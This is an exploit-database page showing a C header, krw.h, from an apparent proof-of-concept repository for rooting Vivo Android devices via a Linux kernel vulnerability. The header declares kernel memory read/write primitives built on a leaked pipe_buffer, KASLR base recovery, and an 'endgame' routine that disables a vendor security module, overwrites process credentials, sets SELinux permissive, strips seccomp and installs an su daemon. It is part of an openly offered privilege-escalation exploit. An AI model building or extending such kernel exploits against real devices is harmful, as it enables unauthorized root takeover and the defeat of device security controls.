Exploit database

GH-594a156883cbf863201dae6cf96323f3

zenyxx-xd/rootmyvivo-exploit

GitHubNot listedPoC
Download repository ZIP

Sources for CVE-2026-43499

165 sources

Preferred order: Exploit-DB, Metasploit, then GitHub repositories by stars. Open preferred source

Repository files66
zenyxx-xd/rootmyvivo-exploitRevision 201ffc023401
Next files →

Files from this repository share one source choice. Supporting files may cover other vulnerabilities.

afunix/krw.h

Text · 2,194 bytes
/*
 * krw.h — bridge between the CVE-2026-53361 pipe_buffer page primitive
 * and kernel-VA read/write, plus the RMV endgame entry point.
 */
#ifndef AFUNIX_KRW_H
#define AFUNIX_KRW_H

#include <stdint.h>
#include <stddef.h>

#ifdef __cplusplus
extern "C" {
#endif

#define AFUNIX_PAGE_SIZE 4096
#define AFUNIX_ORDER2    (AFUNIX_PAGE_SIZE << 2)  /* 16 KiB */

/* Set by krw_init(): runtime kernel image base (KASLR) and the leaked
 * pipe_buffer anchors. */
extern uint64_t g_kaslr_base;
extern uint64_t g_leaked_page;   /* struct page * of the leaked buffer */
extern uint64_t g_leaked_ops;    /* anon_pipe_buf_ops runtime VA */
extern int      g_krw_ready;

/* Counters for diagnostics. */
extern uint64_t g_krw_reads, g_krw_writes, g_krw_cycles_failed;

/*
 * Bootstrap: derive kaslr_base from leaked_ops, validate the leaked
 * struct page against VMEMMAP_START and the kernel image against the
 * linux_banner, and take ownership of the spray socket + krw pipe fds.
 * Returns 0 (and leaves the attempt cleanly failed) on any mismatch.
 */
int krw_init(uint64_t leaked_page, uint64_t leaked_ops,
             int spray_sv_read, int spray_sv_write,
             int krw_pipe_read, int krw_pipe_write);

/* VA-based primitives. VA may be a kernel image VA (post-KASLR) or a
 * direct-map VA. Each op stays inside one physical page; larger accesses
 * are split internally. Returns 1 on success. */
int      krw_read_data(uintptr_t va, void *out, size_t len);
int      krw_write_data(uintptr_t va, const void *in, size_t len);
uint64_t krw_read64(uintptr_t va);
uint32_t krw_read32(uintptr_t va);
int      krw_write64(uintptr_t va, uint64_t v);
int      krw_write32(uintptr_t va, uint32_t v);

/* Runtime image VA of an image-relative offset (from target.h *_OFF). */
uint64_t krw_img(uint64_t image_off);

/* Pointer classification. */
int krw_is_direct(uint64_t va);  /* direct-map (slab) range */
int krw_is_image(uint64_t va);   /* kernel image (post-KASLR) range */

/* RMV endgame (root_afunix.c): vr.ko neutralize + cred overwrite +
 * selinux permissive + seccomp strip + embedded su daemon. */
int install_afunix_root(void);

#ifdef __cplusplus
}
#endif

#endif /* AFUNIX_KRW_H */